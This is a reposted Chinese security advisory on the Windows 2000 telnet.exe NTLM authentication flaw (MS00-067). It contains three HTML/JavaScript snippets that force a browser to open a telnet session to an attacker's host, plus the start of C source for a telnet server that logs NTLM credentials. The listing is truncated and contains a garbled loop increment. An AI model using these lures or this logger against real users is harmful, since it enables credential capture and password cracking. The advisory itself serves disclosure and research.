微软Windows 2000中telnet.exe的NTLM认证漏洞

2008-04-09 04:32:07来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

微软Windows 2000中telnet.exe的NTLM认证漏洞

发布日期:2000-09-15
更新日期:2000-09-15

受影响系统:

Microsoft Windows NT 2000
描述:


微软Windows 2000发行时自带的telnet客户端(telnet.exe)在默认情况下使用Windows NT的
Challenge/Response(NTLM)作为认证方法。当与主机建立连接时,telnet客户端试图通过NTLM进
行认证,而不管主机是否为Windows telnet服务器。因此有可能监视NTLM challenge/response认
证的会话过程,并将其破解,这会导致敏感信息的暴露,如用户名、密码、域名等。众所周知NTLM
challenge/response协议容易被暴力破解,一个名为“L0phtcrack”的工具演示了这种暴力破解。

强制远程机器启动一个telnet会话是轻而易举的事情,因为Microsoft Internet Explorer、
Outlook (Express)、Netscape Navigator等产品在遇到带有“telnet://”前缀的URL时会自动打
开默认的telnet客户端(通常是telnet.exe)。下面几个例子说明了如何在指定的恶意的服务器上
启动一个telnet会话:

1)

<html>
<frameset rows="100%,*">
<frame src=about:blank>
<frame src=telnet://target>
</frameset>
</html>

2)
<html>
<head>
<meta http-equiv="refresh" content="0;URL=telnet://target">
</head>
</html>

3)
<script>window.open("telnet://target")</script>


<* 来源:DilDog (dildog@atstake.com)
Monti (monti@ushost.com)
Microsoft Security Bulletin (MS00-067)
*>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


在服务器上运行下面的程序,在命令行中指定监听端口和日志文件,然后从Windows 2000上运行telnet.exe,连接该程序监听的端口。在服务器上会看到会话过程的记录。

<!--StartFragment-->/* TalkNTLM - NTLM Logging Telnet Server
* dildog@atstake.com
* 8/14/00
* Copyright (C) 2000 @stake, Inc.
*/

#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<stdlib.h>
#include<ctype.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<sys/wait.h>
#include<netinet/in.h>
#include<arpa/inet.h>

#define MAJOR_VERSION 1
#define MINOR_VERSION 0

#define IAC 255 /* interpret as command: */
#define DONT 254 /* you are not to use option */
#define DO 253 /* please, you use option */
#define WONT 252 /* I won't use option */
#define WILL 251 /* I will use option */
#define SB 250 /* interpret as subnegotiation */
#define SE 240 /* end sub negotiation */
#define AUTH 37
#define IS 0
#define SEND 1
#define REPLY 2
#define NAME 3
#define NTLM 15

#define ACCEPT 1

typedef enum {
METHOD_NONE=0,
METHOD_TELNET
} METHOD;

typedef enum {
SUBMETHOD_NONE=0,
SUBMETHOD_LOG,
} SUBMETHOD;

#define COMMSOCK_BUFSIZ 2048
FILE *g_fCommSock;
char g_CommSockBuf[COMMSOCK_BUFSIZ];

void error(const char *str)
{
fflush(stdout);
fprintf(stderr,str);
fflush(stderr);
}

unsigned char getb(void)
{
unsigned char b=0;
fread(&b,1,1,g_fCommSock);
return b;
}

unsigned short getdwl(void)
{
unsigned short s=0;
s|=((unsigned short)getb());
s|=((unsigned short)getb())<<8;
return s;
}

unsigned long getddl(void)
{
unsigned long l=0;
l|=((unsigned long)getb());
l|=((unsigned long)getb())<<8;
l|=((unsigned long)getb())<<16;
l|=((unsigned long)getb())<<24;
return l;
}

void putb(unsigned char c)
{
fwrite(&c,1,1,g_fCommSock);
}

void putdwl(unsigned short w)
{
putb(w&255);
putb((w>>8)&255);
}

void putddl(unsigned long d)
{
putb(d&255);
putb((d>>8)&255);
putb((d>>16)&255);
putb((d>>24)&255);
}


void putarrb(int n, unsigned char *b)
{
int i;
for(i=0;i<n;i ) {
putb(b[i]);
}
}

void putarrc(int n, char *c)
{
putarrb(n,(unsigned char *)c);
}

void putflush(void)
{
fflush(g_fCommSock);
}


void debugb(unsigned char c)
{
fprintf(stderr,"%d\t\t%X\t'%c'\n\r",c,c,(isalnum(c)?c:' '));
}


int listenport(int port, struct sockaddr_in *rsaddr)
{
// Create socket
int s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(s<0) {
error("couldn't create socket.\n");

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:Sambar Server search.dll泄漏目录内容

下一篇:HP OpenView NNM 配置脚本存在安全漏洞